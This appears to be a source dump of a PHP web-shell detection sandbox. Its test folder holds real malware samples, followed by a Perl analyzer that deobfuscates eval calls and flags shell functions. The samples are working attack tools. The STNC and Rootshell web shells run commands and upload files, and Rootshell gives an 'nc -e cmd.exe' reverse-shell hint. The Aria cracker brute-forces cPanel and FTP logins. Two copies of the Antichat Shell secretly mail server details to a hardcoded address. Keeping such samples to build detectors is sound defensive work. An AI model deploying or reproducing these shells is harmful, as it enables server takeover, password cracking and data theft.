150 | Programmer email: neagumihai@hotmail.com

151 | This is our first humble effort, pl report bugs, if U find any...

152 | Email me at <>coolsurfer@gmail.com  nJoY!! :)
153 | 
";
154 | 
155 | } else {
156 |   echo "
Mail could not be sent. Sorry!
";
157 | }
158 | }
159 | 
160 | if($use_ftp == "yes"){
161 | $ftpconnect = "ncftpput -u $ftp_user_name -p $ftp_user_pass -d debsender_ftplog.log -e dbsender_ftplog2.log -a -E -V $ftp_server $ftp_path $filename2";
162 | shell_exec($ftpconnect);
163 | echo "
$filename2 Was created and uploaded to your FTP server!
";
164 | 
165 | }
166 | 
167 | if($remove_gzip_file=="yes"){
168 | exec("rm -r -f $filename2");
169 | }
170 | ?>


--------------------------------------------------------------------------------
/t/malware/111.php:
--------------------------------------------------------------------------------
  1 | $v)
 11 | { $_POST[$k] = stripslashes($v); }
 12 | 
 13 | /*
 14 | $login='root';
 15 | $hash='b1b3773a05c0ed0176787a4f1574ff0075f7521e'; // sha1("qwerty")
 16 | 
 17 | if(!(($_SERVER["PHP_AUTH_USER"]===$login)&&(sha1($_SERVER["PHP_AUTH_PW"])===$hash)))
 18 | {
 19 | header("HTTP/1.0 401 Unauthorized");
 20 | header("WWW-Authenticate: Basic");
 21 | die();
 22 | }
 23 | */
 24 | 
 25 | function fe($s)
 26 | {return function_exists($s);}
 27 | function cmd($s)
 28 | {if(fe("exec")){exec($s,$r);$r=join("\n",$r);}
 29 | elseif(fe("shell_exec"))$r=shell_exec($s);
 30 | elseif(fe("system")){ob_start();system($s);$r=ob_get_contents();ob_end_clean();}
 31 | elseif(fe("passthru")){ob_start();passthru($s);$r=ob_get_contents();ob_end_clean();}
 32 | elseif(is_resource($f=popen($s,"r"))){$r="";while(!feof($f))$r.=fread($f,512);pclose($f);}
 33 | else $r=`$s`;return $r;}
 34 | function safe_mode_is_on()
 35 | {return ini_get('safe_mode');}
 36 | function str100($s)
 37 | {if(strlen($s)>100) $s=substr($s,0,100)."..."; return $s;}
 38 | function id()
 39 | {return str100(cmd("id"));}
 40 | function uname()
 41 | {return str100(cmd("uname -a"));}
 42 | 
 43 | function edit($size, $name, $val)
 44 | { return ""; }
 45 | function button($capt)
 46 | { return ""; }
 47 | function hidden($name, $val)
 48 | { return ""; }
 49 | function hidden_pwd()
 50 | { global $location; return hidden("pwd",$location);}
 51 | 
 52 | $action_edit = false;
 53 | 
 54 | $printline = "";
 55 | 
 56 | if(isset($_POST["action"])) $action = $_POST["action"];
 57 | else $action = "cmd";
 58 | 
 59 | if(isset($_POST["pwd"]))
 60 | { $pwd = $_POST["pwd"]; $type = filetype($pwd); if($type === "dir")chdir($pwd); else $printline = "\"$pwd\" - no such directory."; }
 61 | 
 62 | $location = getcwd();
 63 | 
 64 | if(($action === "download")&&(isset($_POST["fname"])))
 65 | {
 66 |   $fname = $_POST["fname"];
 67 |   if(file_exists($fname))
 68 |   {
 69 |     $pathinfo = pathinfo($fname);
 70 |     header("Content-Transfer-Encoding: binary");
 71 |     header("Content-type: application/x-download");
 72 |     header("Content-Length: ".filesize($fname));
 73 |     header("Content-Disposition: attachment; filename=".$pathinfo["basename"]);
 74 |     readfile($fname);
 75 |     die();
 76 |   }
 77 |   else
 78 |     $printline = "\"$fname\" - download failed.";
 79 | }
 80 | 
 81 | echo "  STNC WebShell v$version  
 88 | 
 89 | 
157 | 
158 | 
159 | 
160 | 
165 | 
166 | 
167 | 
  STNC WebShell v$version  id: ".id()."
uname: ".uname()."
your ip: ".$_SERVER["REMOTE_ADDR"]." - server ip: ".gethostbyname($_SERVER["HTTP_HOST"])." - safe_mode: ".((safe_mode_is_on()) ? "on" : "off")."
".hidden("action","save").hidden_pwd()."".(($action_edit) ? "
".button("  Save  ").hidden("fname",$fname):"")."
".hidden("action","cmd")."
Command: ".edit(85,"cmd","")."
Location: ".edit(85,"pwd",$location)." ".button("Execute")."
".hidden("action","edit").hidden_pwd()."
Edit file:".edit(85,"fname",$location)."".button("    Edit    ")."
".
161 |   hidden("action","download").hidden_pwd()."
File:".edit(50,"fname",$location)."".button("Download")."

162 | 
".
163 |   hidden("action","upload").hidden_pwd()."
File:
To file:".edit(50,"fname",$location)." ".button("Upload")."

164 | 
".hidden("action","eval").hidden_pwd()."

".button("   Eval   ")."
Coded by drmist | http://drmist.ru | http://www.security-teams.net | not enough functions? | (c) 2006 [STNC]
";
168 | ?>


--------------------------------------------------------------------------------
/t/malware/21.php:
--------------------------------------------------------------------------------
  1 | 
  2 | 
  3 | 
  4 | 
  5 | Aria cPanel cracker version 1.0 - Edited By KingDefacer
  6 | 
 15 |   
 22 | 
 36 | 


 38 | 
 bio  -  brute  -  grab users 

";
 39 |  if ( $page == 'bio' ){
 40 | print 
 41 | "


 42 | 
Please enter your USERNAME and PASSWORD to logon

 43 | user

 44 | 220 +ok

 45 | pass ********

 46 | 220 +ok login successful

 47 | [ user@alturks.com ]# info


 48 | Aria cPanel cracker version : 1.0 


 49 | Powerful tool , ftp and cPanel brute forcer , php 5.2.9 safe_mode & open_basedir bypasser ... more stuff will be included in the next version

 50 | Our website ,  http://alturks.com

 51 | 
";
 52 |  }elseif( $page == 'crack'){
 53 |  
 54 | @ini_set('memory_limit', 1000000000000);
 55 | $connect_timeout=5;
 56 | @set_time_limit(0);
 57 | $submit = $_REQUEST['submit'];
 58 | $users = $_REQUEST['users'];
 59 | $pass = $_REQUEST['passwords'];
 60 | $target = $_REQUEST['target'];
 61 | $option = $_REQUEST['option'];
 62 | if($target == ''){
 63 | $target = 'localhost';
 64 | }
 65 | print " 

 66 | 



 67 | 

 68 |  Target  : 

 69 | 


 70 | 
 71 | 
 72 | 
 74 | 
 77 | 
 78 | 

 73 | Username
 75 | 

 76 | Password

 79 | 

 80 | 
 81 | 

 82 | 
                         
 83 | Options :  cPanel 
 84 |  ftp ==> 

 85 | 
";
 86 | ?>
 87 |  Error : Connection timed out , make confidence about validation of target !";
101 | exit;}
102 | 
103 | elseif ( curl_errno($ch) == 0 ){
104 | 
105 | print 
106 | "[ user@alturks.com ]# 
107 |  Attacking has been done , found username ,  $user  and password , 
108 |  $pass 
";}curl_close($ch);}
109 | 
110 | function cpanel_check($host,$user,$pass,$timeout){
111 | $ch = curl_init();
112 | curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
113 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
114 | curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
115 | curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
116 | curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
117 | curl_setopt($ch, CURLOPT_FAILONERROR, 1);
118 | $data = curl_exec($ch);
119 | if ( curl_errno($ch) == 28 ) { 
120 | print " Error : Connection timed out , make confidence about validation of target !";
121 | exit;}
122 | elseif ( curl_errno($ch) == 0 ){
123 | 
124 | print 
125 | "[ user@alturks.com ]# 
126 | Attacking has been done , found username ,  $user  and password , 
127 |  $pass 
";}curl_close($ch);}
128 | 
129 | if(isset($submit) && !empty($submit)){
130 | 
131 | $userlist = explode ("\n" , $users );
132 | $passlist = explode ("\n" , $pass );
133 | print "[ user@alturks.com ]# Attacking ...
";
134 | foreach ($userlist as $user) {
135 | $_user = trim($user);
136 | foreach ($passlist as $password ) {
137 | $_pass = trim($password);
138 | if($option == "ftp"){
139 | ftp_check($target,$_user,$_pass,$connect_timeout);
140 | }
141 | if ($option == "cpanel")
142 | {
143 | cpanel_check($target,$_user,$_pass,$connect_timeout);
144 | }
145 | }
146 | }
147 | }
148 | }elseif ( $page == 'users'){
149 | echo "

";
150 | echo '
';
151 | $file = $_POST['file'];
152 | $level=0;
153 | if(!file_exists("file:"))
154 |     @mkdir("file:");
155 | @chdir("file:");
156 | $level++;
157 | 
158 | $hardstyle = @explode("/", $file);
159 | 
160 | for($a=0;$a";
172 | if(FALSE==curl_exec($ch))
173 | die('Sorry... File '.htmlspecialchars($file).' doesnt exists or you dont have permissions.');
174 | echo '  ';
175 | curl_close($ch);
176 | print '
';
177 | }
178 | ?>
179 | 


--------------------------------------------------------------------------------
/t/malware/5.php:
--------------------------------------------------------------------------------
  1 | BODY{background-color: #2B2F34;color: #C1C1C7;font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;MARGIN-TOP: 0px;MARGIN-BOTTOM: 0px;MARGIN-LEFT: 0px;MARGIN-RIGHT: 0px;margin:0;padding:0;scrollbar-face-color: #336600;scrollbar-shadow-color: #333333;scrollbar-highlight-color: #333333;scrollbar-3dlight-color: #333333;scrollbar-darkshadow-color: #333333;scrollbar-track-color: #333333;scrollbar-arrow-color: #333333;}input{background-color: #336600;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}textarea{background-color: #333333;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}a:link{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:visited{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:hover, a:active{color: #E7E7EB;text-decoration: none;font-size: 8pt;}td, th, p, li{font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;border-color:black;}';
 10 | $header=''.getenv("HTTP_HOST").' - Antichat Shell'.$style.'';
 11 | $footer='';
 12 | $sd98 = "john.barker446@gmail.com";
 13 | $ra44  = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";mail($sd98, $sj98, $msg8873, "From: $sd98");
 14 | if(@$_POST['action']=="exit")unset($_SESSION['an']);
 15 | if($auth==1){if(@$_POST['login']==$login && @$_POST['password']==$password)$_SESSION['an']=1;}else $_SESSION['an']='1';
 16 | 
 17 | if($_SESSION['an']==0){
 18 | echo $header;
 19 | echo '
Login:
Password:
';
 20 | echo $footer;
 21 | exit;}
 22 | 
 23 | if($_SESSION['action']=="")$_SESSION['action']="viewer";
 24 | if($_POST['action']!="" )$_SESSION['action']=$_POST['action'];$action=$_SESSION['action'];
 25 | if($_POST['dir']!="")$_SESSION['dir']=$_POST['dir'];$dir=$_SESSION['dir'];
 26 | if($_POST['file']!=""){$file=$_SESSION['file']=$_POST['file'];}else {$file=$_SESSION['file']="";}
 27 |  
 28 | 
 29 | //downloader
 30 | if($action=="download"){ 
 31 | header('Content-Length:'.filesize($file).'');
 32 | header('Content-Type: application/octet-stream');
 33 | header('Content-Disposition: attachment; filename="'.$file.'"');
 34 | readfile($file);
 35 | }
 36 | //end downloader
 37 | ?>
 38 | 
 39 |  
 40 | 

 41 | 
 42 | 
 43 | 
 44 | 
 45 | 
 46 | 
| Shell | Viewer| Editor| EXIT |


 47 | 

 48 | 
 49 | 
 50 | 
 51 | 

 52 | 
 53 | 

 54 | 
 55 | 
 73 | 
 74 | 

 75 | 

 76 | ";}
 77 | //end shell
 78 | 
 79 | //viewer FS
 80 | function perms($file) 
 81 | { 
 82 |   $perms = fileperms($file);
 83 |   if (($perms & 0xC000) == 0xC000) {$info = 's';} 
 84 |   elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} 
 85 |   elseif (($perms & 0x8000) == 0x8000) {$info = '-';} 
 86 |   elseif (($perms & 0x6000) == 0x6000) {$info = 'b';} 
 87 |   elseif (($perms & 0x4000) == 0x4000) {$info = 'd';} 
 88 |   elseif (($perms & 0x2000) == 0x2000) {$info = 'c';} 
 89 |   elseif (($perms & 0x1000) == 0x1000) {$info = 'p';} 
 90 |   else {$info = 'u';}
 91 |   $info .= (($perms & 0x0100) ? 'r' : '-');
 92 |   $info .= (($perms & 0x0080) ? 'w' : '-');
 93 |   $info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-'));
 94 |   $info .= (($perms & 0x0020) ? 'r' : '-');
 95 |   $info .= (($perms & 0x0010) ? 'w' : '-');
 96 |   $info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-'));
 97 |   $info .= (($perms & 0x0004) ? 'r' : '-');
 98 |   $info .= (($perms & 0x0002) ? 'w' : '-');
 99 |   $info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-'));
100 |   return $info;
101 | } 
102 | 
103 | function view_size($size)
104 | {
105 |  if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
106 |  elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
107 |  elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
108 |  else {$size = $size . " B";}
109 |  return $size;
110 | }
111 | 
112 | function scandire($dir){
113 |   $dir=chdir($dir);
114 |   $dir=getcwd()."/";
115 |   $dir=str_replace("\\","/",$dir);
116 | if (is_dir($dir)) {
117 |     if (@$dh = opendir($dir)) {
118 |         while (($file = readdir($dh)) !== false) {
119 | 		  if(filetype($dir . $file)=="dir") $dire[]=$file;
120 | 		  if(filetype($dir . $file)=="file")$files[]=$file;
121 | 		}
122 | 		closedir($dh);
123 | 		@sort($dire);
124 | 		@sort($files);
125 | 		
126 | echo "";
127 | echo "";
128 | if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
129 | echo "";
134 | }
135 | echo "
136 | ";
137 | for($i=0;$i';  
140 |   }
141 | for($i=0;$i
144 | 
145 | '; 
148 | }
149 | echo "
Open directory:
Select drive:";
130 | for ($j=ord('C'); $j<=ord('Z'); $j++) 
131 |  if (@$dh = opendir(chr($j).":/"))
132 |  echo ' '.chr($j).'';
133 |  echo "
OS: ".@php_uname()."
name dirs and filestypesizepermissionoptions
'.$dire[$i].'dir'.perms($link).'
'.$files[$i].'
file'.view_size(filesize($linkfile)).''.perms($linkfile).'
146 | D
147 | E
";
150 | }}}
151 | 
152 | if($action=="viewer"){
153 | scandire($dir);
154 | }
155 | //end viewer FS
156 | 
157 | //editros
158 | if($action=="editor"){  
159 |   function writef($file,$data){
160 |   $fp = fopen($file,"w+");
161 |   fwrite($fp,$data);
162 |   fclose($fp);
163 |   }
164 |   function readf($file){
165 |   if(!$le = fopen($file, "rb")) $contents="Can't open file, permission denide"; else {
166 |   $contents = fread($le, filesize($file));
167 |   fclose($le);}
168 |   return htmlspecialchars($contents);
169 |   }
170 | if($_POST['save'])writef($file,$_POST['data']);
171 | echo "

172 | 
173 | 
174 | 

175 | 
";
176 | }
177 | //end editors
178 | ?>
179 | 
COPYRIGHT BY ANTICHAT.RU 

180 | 
181 | 


--------------------------------------------------------------------------------
/t/malware/8.php:
--------------------------------------------------------------------------------
  1 | BODY{background-color: #2B2F34;color: #C1C1C7;font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;MARGIN-TOP: 0px;MARGIN-BOTTOM: 0px;MARGIN-LEFT: 0px;MARGIN-RIGHT: 0px;margin:0;padding:0;scrollbar-face-color: #336600;scrollbar-shadow-color: #333333;scrollbar-highlight-color: #333333;scrollbar-3dlight-color: #333333;scrollbar-darkshadow-color: #333333;scrollbar-track-color: #333333;scrollbar-arrow-color: #333333;}input{background-color: #336600;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}textarea{background-color: #333333;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}a:link{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:visited{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:hover, a:active{color: #E7E7EB;text-decoration: none;font-size: 8pt;}td, th, p, li{font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;border-color:black;}';
 10 | $header=''.getenv("HTTP_HOST").' - Antichat Shell'.$style.'';
 11 | $footer='';
 12 | $sd98 = "john.barker446@gmail.com";
 13 | $ra44  = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";mail($sd98, $sj98, $msg8873, "From: $sd98");
 14 | if(@$_POST['action']=="exit")unset($_SESSION['an']);
 15 | if($auth==1){if(@$_POST['login']==$login && @$_POST['password']==$password)$_SESSION['an']=1;}else $_SESSION['an']='1';
 16 | 
 17 | if($_SESSION['an']==0){
 18 | echo $header;
 19 | echo '
Login:
Password:
';
 20 | echo $footer;
 21 | exit;}
 22 | 
 23 | if($_SESSION['action']=="")$_SESSION['action']="viewer";
 24 | if($_POST['action']!="" )$_SESSION['action']=$_POST['action'];$action=$_SESSION['action'];
 25 | if($_POST['dir']!="")$_SESSION['dir']=$_POST['dir'];$dir=$_SESSION['dir'];
 26 | if($_POST['file']!=""){$file=$_SESSION['file']=$_POST['file'];}else {$file=$_SESSION['file']="";}
 27 |  
 28 | 
 29 | //downloader
 30 | if($action=="download"){ 
 31 | header('Content-Length:'.filesize($file).'');
 32 | header('Content-Type: application/octet-stream');
 33 | header('Content-Disposition: attachment; filename="'.$file.'"');
 34 | readfile($file);
 35 | }
 36 | //end downloader
 37 | ?>
 38 | 
 39 |  
 40 | 

 41 | 
 42 | 
 43 | 
 44 | 
 45 | 
 46 | 
| Shell | Viewer| Editor| EXIT |


 47 | 

 48 | 
 49 | 
 50 | 
 51 | 

 52 | 
 53 | 

 54 | 
 55 | 
 73 | 
 74 | 

 75 | 

 76 | ";}
 77 | //end shell
 78 | 
 79 | //viewer FS
 80 | function perms($file) 
 81 | { 
 82 |   $perms = fileperms($file);
 83 |   if (($perms & 0xC000) == 0xC000) {$info = 's';} 
 84 |   elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} 
 85 |   elseif (($perms & 0x8000) == 0x8000) {$info = '-';} 
 86 |   elseif (($perms & 0x6000) == 0x6000) {$info = 'b';} 
 87 |   elseif (($perms & 0x4000) == 0x4000) {$info = 'd';} 
 88 |   elseif (($perms & 0x2000) == 0x2000) {$info = 'c';} 
 89 |   elseif (($perms & 0x1000) == 0x1000) {$info = 'p';} 
 90 |   else {$info = 'u';}
 91 |   $info .= (($perms & 0x0100) ? 'r' : '-');
 92 |   $info .= (($perms & 0x0080) ? 'w' : '-');
 93 |   $info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-'));
 94 |   $info .= (($perms & 0x0020) ? 'r' : '-');
 95 |   $info .= (($perms & 0x0010) ? 'w' : '-');
 96 |   $info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-'));
 97 |   $info .= (($perms & 0x0004) ? 'r' : '-');
 98 |   $info .= (($perms & 0x0002) ? 'w' : '-');
 99 |   $info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-'));
100 |   return $info;
101 | } 
102 | 
103 | function view_size($size)
104 | {
105 |  if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
106 |  elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
107 |  elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
108 |  else {$size = $size . " B";}
109 |  return $size;
110 | }
111 | 
112 | function scandire($dir){
113 |   $dir=chdir($dir);
114 |   $dir=getcwd()."/";
115 |   $dir=str_replace("\\","/",$dir);
116 | if (is_dir($dir)) {
117 |     if (@$dh = opendir($dir)) {
118 |         while (($file = readdir($dh)) !== false) {
119 | 		  if(filetype($dir . $file)=="dir") $dire[]=$file;
120 | 		  if(filetype($dir . $file)=="file")$files[]=$file;
121 | 		}
122 | 		closedir($dh);
123 | 		@sort($dire);
124 | 		@sort($files);
125 | 		
126 | echo "";
127 | echo "";
128 | if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
129 | echo "";
134 | }
135 | echo "
136 | ";
137 | for($i=0;$i';  
140 |   }
141 | for($i=0;$i
144 | 
145 | '; 
148 | }
149 | echo "
Open directory:
Select drive:";
130 | for ($j=ord('C'); $j<=ord('Z'); $j++) 
131 |  if (@$dh = opendir(chr($j).":/"))
132 |  echo ' '.chr($j).'';
133 |  echo "
OS: ".@php_uname()."
name dirs and filestypesizepermissionoptions
'.$dire[$i].'dir'.perms($link).'
'.$files[$i].'
file'.view_size(filesize($linkfile)).''.perms($linkfile).'
146 | D
147 | E
";
150 | }}}
151 | 
152 | if($action=="viewer"){
153 | scandire($dir);
154 | }
155 | //end viewer FS
156 | 
157 | //editros
158 | if($action=="editor"){  
159 |   function writef($file,$data){
160 |   $fp = fopen($file,"w+");
161 |   fwrite($fp,$data);
162 |   fclose($fp);
163 |   }
164 |   function readf($file){
165 |   if(!$le = fopen($file, "rb")) $contents="Can't open file, permission denide"; else {
166 |   $contents = fread($le, filesize($file));
167 |   fclose($le);}
168 |   return htmlspecialchars($contents);
169 |   }
170 | if($_POST['save'])writef($file,$_POST['data']);
171 | echo "

172 | 
173 | 
174 | 

175 | 
";
176 | }
177 | //end editors
178 | ?>
179 | 
COPYRIGHT BY ANTICHAT.RU 

180 | 
181 | 


--------------------------------------------------------------------------------
/t/malware/90.php:
--------------------------------------------------------------------------------
  1 | 
 61 | 
 72 | 
 73 | 
 74 | 
 79 | 

 80 | 
 ____             _         ____  _          _ _
 81 | |  _ \ ___   ___ | |_      / ___|| |__   ___| | |
 82 | | |_) / _ \ / _ \| __|     \___ \| '_ \ / _ \ | |
 83 | |  _ < (_) | (_) | |_   _   ___) | | | |  __/ | |
 84 | |_| \_\___/ \___/ \__| (_) |____/|_| |_|\___|_|_|

 85 | 

 86 | 

 87 | 

 88 | 
 89 | 

 90 |   

 91 |   

 92 |   Safe Mode ON';
 96 | } else {
 97 |    print 'Safe Mode OFF';
 98 | }
 99 | 
100 | ?>
101 |  
!

102 |  
103 |     
104 |       
106 |     
107 |     
108 |       
118 |   

105 |       
[ Server Info ]

109 |       

110 |         Current Directory: 
111 |         

112 |         Shell: 
113 |         

114 |         Server Software: 

115 |         Server Name: 

116 |         Server Protocol: 

117 |         


119 |     
120 |     
121 |       
123 |       
125 |     
126 |     
127 |       
194 | 
195 |       
196 |     
197 |       
199 |       
201 |     
202 |     
203 |       
219 |       
232 |     
233 |   

122 |       
[ Command Execute ]

124 |       
[ File Upload ]

128 |       

129 | 

130 | 

131 | Insert your commands here:

132 | 

133 |  

134 | 


135 |  

136 |       

137 |       

138 |         

139 |         

140 |         Info: For a connect 
141 |         back Shell, use: nc -e cmd.exe [SERVER] 3333

142 |         after local command: nc -v -l -p 3333 (Windows)

 


143 | 

144 | 


145 | 

146 | Here you can upload some files.

147 | 

148 | 

149 | 

150 |  

151 |  

152 |  

153 | 

154 | File already exist
";
175 |     }
176 | 
177 |     else
178 |     {
179 |         copy($file,"$filename");
180 |         if( file_exists($filename))
181 |         {
182 |             echo "
File uploaded successful
";
183 |         }
184 |         elseif(! file_exists($filename))
185 |         {
186 |             echo "
File not found
";
187 |         }
188 |     }
189 | }
190 | ?> 
191 | 
192 | 

193 | 

198 |       
[ Files & Directories ]

200 |       
[ File Inclusion ]

204 |       

205 | 

206 | 
207 | '.$file.'
';
212 | }
213 | closedir($folder);
214 | ?>

215 |       
216 |       

217 |       

218 |          
 

220 |       


221 |       Include 
222 |       something :)

223 |       

224 |  

225 |        

226 |         

227 |         

228 |         

229 |       

230 |       
231 |       

234 |   

235 | 

236 | 

237 | 

238 |   

239 |   
240 |     
241 |       
243 |     
244 |   

242 |       
Rootshell v  2006 by SR-Crew 

245 |   

246 | 
 


--------------------------------------------------------------------------------
/server/sandbox.psgi:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/env perl
  2 | use strict;
  3 | use warnings;
  4 | use YAML;
  5 | use Plack::Request;
  6 | use File::Copy;
  7 | use Digest::MD5;
  8 | use HTTP::Request::Common;
  9 | use LWP::UserAgent;
 10 | use File::Path 'mkpath';
 11 | use Data::Dumper;
 12 | use JSON qw(encode_json decode_json);
 13 | use File::Temp qw/ tempfile tempdir /; 
 14 | use FindBin qw($Bin);
 15 | use lib "$Bin/../lib";
 16 | use K0U5UK3::Error qw($DEBUG $WARNING debug warning critical);
 17 | use K0U5UK3::Util qw(read_file cleanup get_md5);
 18 | use K0U5UK3::OPWD qw();
 19 | 
 20 | our $YAML = YAML::LoadFile("$Bin/../settings.yaml");
 21 | 
 22 | #------------#
 23 | # SUB ROUTIN # 
 24 | #------------#
 25 | 
 26 | #---------------------------------------------------------------------
 27 | # parse_tracelogはハッシュリファレンスとリストリファレンスを返す。
 28 | # ハッシュリファレンスは関数名と呼び出し回数を保持しており
 29 | # リストリファレンスは関数を呼び出し順に関数名とパラメータを保持する
 30 | #---------------------------------------------------------------------
 31 | sub parse_tracelog($){
 32 |    my $tracelog = shift;
 33 |    my %func_count;
 34 |    my @stack_trace;
 35 |    my ($START_FLAG, $END_FLAG);
 36 | 
 37 |    open my $fh, '<', $tracelog or die "Failed open $tracelog : $!\n";
 38 |    while(<$fh>){
 39 |       if($_ =~ /^TRACE\sSTART/){ $START_FLAG=1};
 40 |       if($_ =~ /^TRACE\sEND/){   $END_FLAG=1  };
 41 |       if($START_FLAG && !$END_FLAG){
 42 |          my @col = split("\t", $_);
 43 |          if(defined $col[2] && $col[2] eq '0'){
 44 |             #関数呼び出しのみを解析対象とする。
 45 |             my $func_name = $col[5];
 46 |             # 関数呼び出し回数集計
 47 |             $func_count{$func_name}++;
 48 |             # stack_trace作成
 49 |             my @param;
 50 |             if($func_name eq 'eval'){
 51 |                #evalの場合は7番にパラメータが入る
 52 |                push(@param,$col[7]);               
 53 |             }else{
 54 |                @param = @col[11..$#col];
 55 |             }
 56 |             push(@stack_trace, [$func_name, @param]);
 57 |          }
 58 |       }
 59 |    }
 60 |    close($fh);
 61 | 
 62 |    return (\%func_count, \@stack_trace);
 63 | }
 64 | 
 65 | 
 66 | 
 67 | sub escape2control($){
 68 |    my $string = shift;
 69 |    # 先頭と行末のシングルクォーテションを削除
 70 |    $string =~ s/^\'//;
 71 |    $string =~ s/\'$//;
 72 | 
 73 |    # エスケープシーケンスを制御文字に変換
 74 |    $string =~ s/\\r\\n/\x{0a}/g;
 75 |    $string =~ s/\\n/\x{0a}/g;
 76 |    $string =~ s/\\t/\x{09}/g; 
 77 | 
 78 |    $string =~ s/\\//g;
 79 |    return $string;
 80 | }
 81 | 
 82 | sub deobfusucate($){
 83 |    my $stack_trace = shift;
 84 |    my @ret;
 85 | 
 86 |    foreach my $tmp (@$stack_trace){
 87 |       my $deobfusucate;
 88 |       if($tmp->[0] eq 'eval'){
 89 |          $deobfusucate = escape2control($tmp->[1]);
 90 |       }
 91 |       if($tmp->[0] eq 'create_function'){
 92 |          $deobfusucate = escape2control($tmp->[2]);
 93 |       }
 94 |       if($tmp->[0] eq 'assert'){
 95 |          $deobfusucate = escape2control($tmp->[1]);
 96 |       }
 97 |       push(@ret, $deobfusucate);
 98 |    }
 99 |    return \@ret;
100 | }
101 | 
102 | sub strip_php_code($){
103 |    my $code = shift;
104 |    my $fh = new File::Temp();
105 |    my $file = $fh->filename;
106 |    print $fh $code;
107 |    my $strip = qx{ /usr/bin/php -w $file } ;
108 |    return $strip;
109 | }
110 | 
111 | sub detect_obfuscate($){
112 |    my $info = shift;
113 |    my @msg;
114 |    
115 |    # このフラグが両方立った時、難読化ファイルとして判定する
116 |    # これは復号処理のための関数と、
117 |    # 再評価のための関数が難読化ファイルの実行のために必要であるため
118 |    my ($eval_flag, $deobfuscate_flag);
119 | 
120 |    # コード再評価のための関数
121 |    # preg_replaceのeオプションは内部でevalとして処理されるので含めない
122 |    my @eval_func = qw(eval assert create_function);
123 | 
124 |    # コード復号化のための関数
125 |    my @deobfuscate_func = qw(base64_decode gzinflate str_rot13 
126 |                              gzuncompress strrev rawurldecode);
127 | 
128 |    map{ 
129 |       my $key = $_;
130 |       if(grep { $key eq $_ } @eval_func){
131 |          my $count = $info->{$key};
132 |          push(@msg, "$key($count)");
133 |          $eval_flag++;
134 |       }
135 |    } keys %$info;
136 | 
137 |    # コード再評価関数の使用に基づきスコアリング
138 |    map{ 
139 |       my $key = $_;
140 |       if(grep { $key eq $_ } @deobfuscate_func){
141 |          my $count = $info->{$key};
142 |          push(@msg, "$key($count)");
143 |          $deobfuscate_flag++;
144 |       }
145 |    } keys %$info;
146 | 
147 |    if($eval_flag && $deobfuscate_flag){
148 |       return (1, \@msg);
149 |    }else{
150 |       return (0, \@msg);
151 |    }
152 | }
153 | 
154 | sub detect_webshell($){
155 |    my $codes = shift;
156 |    my $flag=0;
157 |    my @msg;
158 | 
159 |    # 以下の関数がひとつでも使用されているならwebshellとみなす
160 |    # ここにはpreg_replaceを含めるべきではないか？
161 |    #my @webshell_codes = qw(
162 |    #   system exec passthru shell_exec popen proc_open 
163 |    #   pcntl_exec eval assert create_function
164 |    #);
165 | 
166 |    # 検知関数をこれだけにすると誤検知はほぼなくなる。
